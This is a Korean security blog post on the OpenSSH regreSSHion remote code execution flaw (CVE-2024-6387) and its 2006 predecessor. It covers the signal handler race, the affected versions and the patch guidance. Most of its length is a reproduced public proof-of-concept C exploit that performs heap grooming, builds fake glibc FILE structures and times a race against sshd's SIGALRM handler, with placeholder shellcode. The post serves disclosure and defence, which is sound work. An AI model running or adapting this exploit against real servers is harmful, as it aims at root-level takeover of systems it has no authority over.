1. 개요
- OpenSSH 생태계에서 새로운 취약점(RCE)이 발견 [1]
> glibc 기반 Linux 시스템에서 OpenSSH 서버(sshd)에서 발생
> OpenSSH: SSH를 이용하여 암호화된 통신 세션을 제공하는 컴퓨터 프로그램의 모임 [2]
- 해당 취약점은 2006년 이미 발견되어 수정된 취약점이 최근 패치로 인해 다시 발생된 것
2. 주요내용
- 해당 취약점은 과거 수정된 취약점이 최근 패치로 인해 다시 발생
> 기존에 잘 동작하던 S/W가 패치 이후 버그나 문제가 생기는 것을 Regression(회귀)이라 함
> 해당 취약점 또한 Regression으로 발생한 OpenSSH 취약점이란 의미로 regreSSHion 취약점이라 불림
2.1 CVE-2006-5051 [3]
- 취약한 버전의 OpenSSH에서 발생하는 서비스 거부 및 임의 코드 실행 취약점 (CVSS: 8.1)
① 신호 처리기 경쟁 조건이 발생할 경우 서비스 거부를 발생시킬 수 있음
> 신호 처리기는 시스템에서 발생하는 특정 이벤트(예: SIGTERM, SIGINT)에 대한 응답으로 실행되는 코드
> 공격자는 과도한 요청 통해 신호처리기에 과부하 및 서버 충돌을 유발하여 서비스 거부를 발생시키는 것으로 판단됨
② GSSAPI 인증이 활성화된 경우 임의 코드를 실행할 수 있음
> GSSAPI(Generic Security Service Application Program Interface) authentication: 시스템 간 보안 서비스에 대한 액세스를 제공하는 표준 인터페이스 [4]
> 사용자 인증, 데이터 암호화, 메시지 무결성 등 다양한 보안 서비스를 위한 통합된 프레임워크를 제공
영향받는 버전: OpenSSH 4.4 이전 버전
2.2 CVE-2024-6387 [5]
- Open SSH 서버(sshd)에서 Regression으로 인해 발생하는 원격 코드 실행 취약점 (CVSS: 8.1)
> 신호 처리기의 결함으로 경쟁 조건이 발생하며, 이를 악용해 인증 프로세스 중 서버에 임의의 코드를 삽입하고 실행할 수 있음
> 익스플로잇에 성공할 경우 서버를 완전히 제어할 수 있게 됨
영향받는 시스템: OpenSSH 8.5p1 ~ 9.7p1 이전 버전
- 취약점은 sshd가 클라이언트 인증을 처리하는 방식과 그에 따른 비동기 처리에서 비롯 [6]
> 클라이언트가 sshd에 연결을 시도하면 서버는 지정된 기간인 'LoginGraceTime' 동안 대기
* 이 기간 동안 서버는 클라이언트가 성공적으로 인증할 수 있는지 확안
> 클라이언트가 지정된 시간 내 인증에 실패할 경우 비동기 신호 처리기 'SIGALRM'이 트리거되어 서버가 다른 작업을 수행할 수 있음
* SIGALRM: alarm 함수 등으로 설정한 타이머가 만료될 때 발생하는 시그널
> 취약한 버전의 경우, SIGALRM 신호 처리기는 'async-signal-unsafe' 함수를 호출
> 'async-signal-unsafe' 함수에서 경쟁 조건이 유발
2.3 PoC [7]
/** 7etsuo-regreSSHion.c
* -------------------------------------------------------------------------
* SSH-2.0-OpenSSH_9.2p1 Exploit
* -------------------------------------------------------------------------
*
* Exploit Title : SSH Exploit for CVE-2024-6387 (regreSSHion)
* Author : 7etsuo
* Date : 2024-07-01
*
* Description:
* Targets a signal handler race condition in OpenSSH's
* server (sshd) on glibc-based Linux systems. It exploits a vulnerability
* where the SIGALRM handler calls async-signal-unsafe functions, leading
* to rce as root.
*
* Notes:
* 1. Shellcode : Replace placeholder with actual payload.
* 2. GLIBC_BASES : Needs adjustment for specific target systems.
* 3. Timing parameters: Fine-tune based on target system responsiveness.
* 4. Heap layout : Requires tweaking for different OpenSSH versions.
* 5. File structure offsets: Verify for the specific glibc version.
* -------------------------------------------------------------------------
*/
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
int setup_connection (const char *ip, int port);
void send_packet (int sock, unsigned char packet_type,
const unsigned char *data, size_t len);
void prepare_heap (int sock);
void time_final_packet (int sock, double *parsing_time);
int attempt_race_condition (int sock, double parsing_time,
uint64_t glibc_base);
double measure_response_time (int sock, int error_type);
void create_public_key_packet (unsigned char *packet, size_t size,
uint64_t glibc_base);
void create_fake_file_structure (unsigned char *data, size_t size,
uint64_t glibc_base);
void send_ssh_version (int sock);
int receive_ssh_version (int sock);
void send_kex_init (int sock);
int receive_kex_init (int sock);
int perform_ssh_handshake (int sock);
int
main (int argc, char *argv[])
{
if (argc != 3)
{
fprintf (stderr, "Usage: %s <ip> <port>\n", argv[0]);
exit (1);
}
const char *ip = argv[1];
int port = atoi (argv[2]);
double parsing_time = 0;
int success = 0;
srand (time (NULL));
// Attempt exploitation for each possible glibc base address
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
{
uint64_t glibc_base = GLIBC_BASES[base_idx];
printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
// The advisory mentions "~10,000 tries on average"
for (int attempt = 0; attempt < 20000 && !success; attempt++)
{
if (attempt % 1000 == 0)
{
printf ("Attempt %d of 20000\n", attempt);
}
int sock = setup_connection (ip, port);
if (sock < 0)
{
fprintf (stderr, "Failed to establish connection, attempt %d\n",
attempt);
continue;
}
if (perform_ssh_handshake (sock) < 0)
{
fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
close (sock);
continue;
}
prepare_heap (sock);
time_final_packet (sock, &parsing_time);
if (attempt_race_condition (sock, parsing_time, glibc_base))
{
printf ("Possible exploitation success on attempt %d with glibc "
"base 0x%lx!\n",
attempt, glibc_base);
success = 1;
break;
}
close (sock);
usleep (100000); // 100ms delay between attempts, as mentioned in the
// advisory
}
}
return !success;
}
int
setup_connection (const char *ip, int port)
{
int sock = socket (AF_INET, SOCK_STREAM, 0);
if (sock < 0)
{
perror ("socket");
return -1;
}
struct sockaddr_in server_addr;
memset (&server_addr, 0, sizeof (server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons (port);
if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
{
perror ("inet_pton");
close (sock);
return -1;
}
if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
< 0)
{
perror ("connect");
close (sock);
return -1;
}
// Set socket to non-blocking mode
int flags = fcntl (sock, F_GETFL, 0);
fcntl (sock, F_SETFL, flags | O_NONBLOCK);
return sock;
}
void
send_packet (int sock, unsigned char packet_type, const unsigned char *data,
size_t len)
{
unsigned char packet[MAX_PACKET_SIZE];
size_t packet_len = len + 5;
packet[0] = (packet_len >> 24) & 0xFF;
packet[1] = (packet_len >> 16) & 0xFF;
packet[2] = (packet_len >> 8) & 0xFF;
packet[3] = packet_len & 0xFF;
packet[4] = packet_type;
memcpy (packet + 5, data, len);
if (send (sock, packet, packet_len, 0) < 0)
{
perror ("send_packet");
}
}
void
send_ssh_version (int sock)
{
const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)
{
perror ("send ssh version");
}
}
int
receive_ssh_version (int sock)
{
char buffer[256];
ssize_t received;
do
{
received = recv (sock, buffer, sizeof (buffer) - 1, 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
if (received > 0)
{
buffer[received] = '\0';
printf ("Received SSH version: %s", buffer);
return 0;
}
else if (received == 0)
{
fprintf (stderr, "Connection closed while receiving SSH version\n");
}
else
{
perror ("receive ssh version");
}
return -1;
}
void
send_kex_init (int sock)
{
unsigned char kexinit_payload[36] = { 0 };
send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));
}
int
receive_kex_init (int sock)
{
unsigned char buffer[1024];
ssize_t received;
do
{
received = recv (sock, buffer, sizeof (buffer), 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
if (received > 0)
{
printf ("Received KEX_INIT (%zd bytes)\n", received);
return 0;
}
else if (received == 0)
{
fprintf (stderr, "Connection closed while receiving KEX_INIT\n");
}
else
{
perror ("receive kex init");
}
return -1;
}
int
perform_ssh_handshake (int sock)
{
send_ssh_version (sock);
if (receive_ssh_version (sock) < 0)
return -1;
send_kex_init (sock);
if (receive_kex_init (sock) < 0)
return -1;
return 0;
}
void
prepare_heap (int sock)
{
// Packet a: Allocate and free tcache chunks
for (int i = 0; i < 10; i++)
{
unsigned char tcache_chunk[64];
memset (tcache_chunk, 'A', sizeof (tcache_chunk));
send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
// These will be freed by the server, populating tcache
}
// Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
for (int i = 0; i < 27; i++)
{
// Allocate large chunk (~8KB)
unsigned char large_hole[8192];
memset (large_hole, 'B', sizeof (large_hole));
send_packet (sock, 5, large_hole, sizeof (large_hole));
// Allocate small chunk (320B)
unsigned char small_hole[320];
memset (small_hole, 'C', sizeof (small_hole));
send_packet (sock, 5, small_hole, sizeof (small_hole));
}
// Packet c: Write fake headers, footers, vtable and _codecvt pointers
for (int i = 0; i < 27; i++)
{
unsigned char fake_data[4096];
create_fake_file_structure (fake_data, sizeof (fake_data),
GLIBC_BASES[0]);
send_packet (sock, 5, fake_data, sizeof (fake_data));
}
// Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
unsigned char large_string[MAX_PACKET_SIZE - 1];
memset (large_string, 'E', sizeof (large_string));
send_packet (sock, 5, large_string, sizeof (large_string));
}
void
create_fake_file_structure (unsigned char *data, size_t size,
uint64_t glibc_base)
{
memset (data, 0, size);
struct
{
void *_IO_read_ptr;
void *_IO_read_end;
void *_IO_read_base;
void *_IO_write_base;
void *_IO_write_ptr;
void *_IO_write_end;
void *_IO_buf_base;
void *_IO_buf_end;
void *_IO_save_base;
void *_IO_backup_base;
void *_IO_save_end;
void *_markers;
void *_chain;
int _fileno;
int _flags;
int _mode;
char _unused2[40];
void *_vtable_offset;
} *fake_file = (void *)data;
// Set _vtable_offset to 0x61 as described in the advisory
fake_file->_vtable_offset = (void *)0x61;
// Set up fake vtable and _codecvt pointers
*(uint64_t *)(data + size - 16)
= glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)
*(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt
}
void
time_final_packet (int sock, double *parsing_time)
{
double time_before = measure_response_time (sock, 1);
double time_after = measure_response_time (sock, 2);
*parsing_time = time_after - time_before;
printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}
double
measure_response_time (int sock, int error_type)
{
unsigned char error_packet[1024];
size_t packet_size;
if (error_type == 1)
{
// Error before sshkey_from_blob
packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");
}
else
{
// Error after sshkey_from_blob
packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");
}
struct timespec start, end;
clock_gettime (CLOCK_MONOTONIC, &start);
send_packet (sock, 50, error_packet,
packet_size); // SSH_MSG_USERAUTH_REQUEST
char response[1024];
ssize_t received;
do
{
received = recv (sock, response, sizeof (response), 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
clock_gettime (CLOCK_MONOTONIC, &end);
double elapsed
= (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
return elapsed;
}
void
create_public_key_packet (unsigned char *packet, size_t size,
uint64_t glibc_base)
{
memset (packet, 0, size);
size_t offset = 0;
for (int i = 0; i < 27; i++)
{
// malloc(~4KB) - This is for the large hole
*(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);
offset += CHUNK_ALIGN (4096);
// malloc(304) - This is for the small hole (potential FILE structure)
*(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);
offset += CHUNK_ALIGN (304);
}
// Add necessary headers for the SSH public key format
memcpy (packet, "ssh-rsa ", 8);
// Place shellcode in the heap via previous allocations
memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode,
sizeof (shellcode));
// Set up the fake FILE structures within the packet
for (int i = 0; i < 27; i++)
{
create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)
+ CHUNK_ALIGN (304) * i,
CHUNK_ALIGN (304), glibc_base);
}
}
int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{
unsigned char final_packet[MAX_PACKET_SIZE];
create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);
// Send all but the last byte
if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
{
perror ("send final packet");
return 0;
}
// Precise timing for last byte
struct timespec start, current;
clock_gettime (CLOCK_MONOTONIC, &start);
while (1)
{
clock_gettime (CLOCK_MONOTONIC, ¤t);
double elapsed = (current.tv_sec - start.tv_sec)
+ (current.tv_nsec - start.tv_nsec) / 1e9;
if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
{ // 1ms before SIGALRM
if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)
{
perror ("send last byte");
return 0;
}
break;
}
}
// Check for successful exploitation
char response[1024];
ssize_t received = recv (sock, response, sizeof (response), 0);
if (received > 0)
{
printf ("Received response after exploit attempt (%zd bytes)\n",
received);
// Analyze response to determine if we hit the "large" race window
if (memcmp (response, "SSH-2.0-", 8) != 0)
{
printf ("Possible hit on 'large' race window\n");
return 1;
}
}
else if (received == 0)
{
printf (
"Connection closed by server - possible successful exploitation\n");
return 1;
}
else if (errno == EWOULDBLOCK || errno == EAGAIN)
{
printf ("No immediate response from server - possible successful "
"exploitation\n");
return 1;
}
else
{
perror ("recv");
}
return 0;
}
int
perform_exploit (const char *ip, int port)
{
int success = 0;
double parsing_time = 0;
double timing_adjustment = 0;
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
{
uint64_t glibc_base = GLIBC_BASES[base_idx];
printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
for (int attempt = 0; attempt < 10000 && !success; attempt++)
{
if (attempt % 1000 == 0)
{
printf ("Attempt %d of 10000\n", attempt);
}
int sock = setup_connection (ip, port);
if (sock < 0)
{
fprintf (stderr, "Failed to establish connection, attempt %d\n",
attempt);
continue;
}
if (perform_ssh_handshake (sock) < 0)
{
fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
close (sock);
continue;
}
prepare_heap (sock);
time_final_packet (sock, &parsing_time);
// Implement feedback-based timing strategy
parsing_time += timing_adjustment;
if (attempt_race_condition (sock, parsing_time, glibc_base))
{
printf ("Possible exploitation success on attempt %d with glibc "
"base 0x%lx!\n",
attempt, glibc_base);
success = 1;
// In a real exploit, we would now attempt to interact with the
// shell
}
else
{
// Adjust timing based on feedback
timing_adjustment += 0.00001; // Small incremental adjustment
}
close (sock);
usleep (100000); // 100ms delay between attempts, as mentioned in the
// advisory
}
}
return success;
}
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [8]
영향받는 버전 | 해결 버전 |
OpenSSH 4.4p1 이전 버전 | 9.8p1 |
OpenSSH 8.5p1 ~ 9.8p1 이전 버전 |
* 4.4p1 이전 버전: CVE-2006-5051, CVE-2008-4109 취약점에 대한 패치가 되어 있을 경우 안전
* 4.4p1 ~ 8.5p1 이전 버전: CVE-2006-5051 취약점 패치가 적용되어 있을 경우 안전
* 8.5p1 ~ 9.8p1 이전 버전: 9.8p1 버전으로 업데이트 적용
* 오픈BSD(OpenBSD) 시스템들은 전부 안전하다.
- 기타
> SSH에 대한 접근 제어, 로그 모니터링
> LoginGraceTime 시간 수정
> OpenSSH regreSSHion 취약점 여부 확인 스크립트 활용 [9]
4. 참고
[1] https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
[2] https://www.openssh.com/
[3] https://nvd.nist.gov/vuln/detail/CVE-2006-5051
[4] https://www.ietf.org/rfc/rfc4121.txt
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-6387
[6] https://www.varonis.com/blog/openssh-regresshion-rce-vulnerability
[7] https://github.com/zgzhang/cve-2024-6387-poc/tree/main
[8] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71480
[9] https://github.com/xaitax/CVE-2024-6387_Check
[10] https://kitpa.org/news/cly3bx82u000bvkc4s1i7winu
[11] https://hackread.com/regresshion-vulnerability-openssh-exposes-servers/
[12] https://blog.criminalip.io/ko/2024/07/02/cve-2024-6387/
[13] https://www.boannews.com/media/view.asp?idx=131054&page=1&kind=1
[14] https://svrforum.com/itnews/1532803
[15] https://maily.so/newslettertodevops/posts/4b1f03db
'취약점 > RCE' 카테고리의 다른 글
SolarWinds Web Help Desk 원격 코드 실행 취약점 (CVE-2024-28986, CVE-2024-28987) (0) | 2024.08.19 |
---|---|
MHTML 원격 코드 실행 취약점 (CVE-2024-38112) (0) | 2024.07.20 |
Apache ActiveMQ RCE (CVE-2023-46604) (1) | 2023.12.26 |
Oracle WebLogic WLS Security Component RCE (CVE-2017-3506) (0) | 2023.06.01 |
Microsoft Message Queuing RCE (CVE-2023-21554) (0) | 2023.04.16 |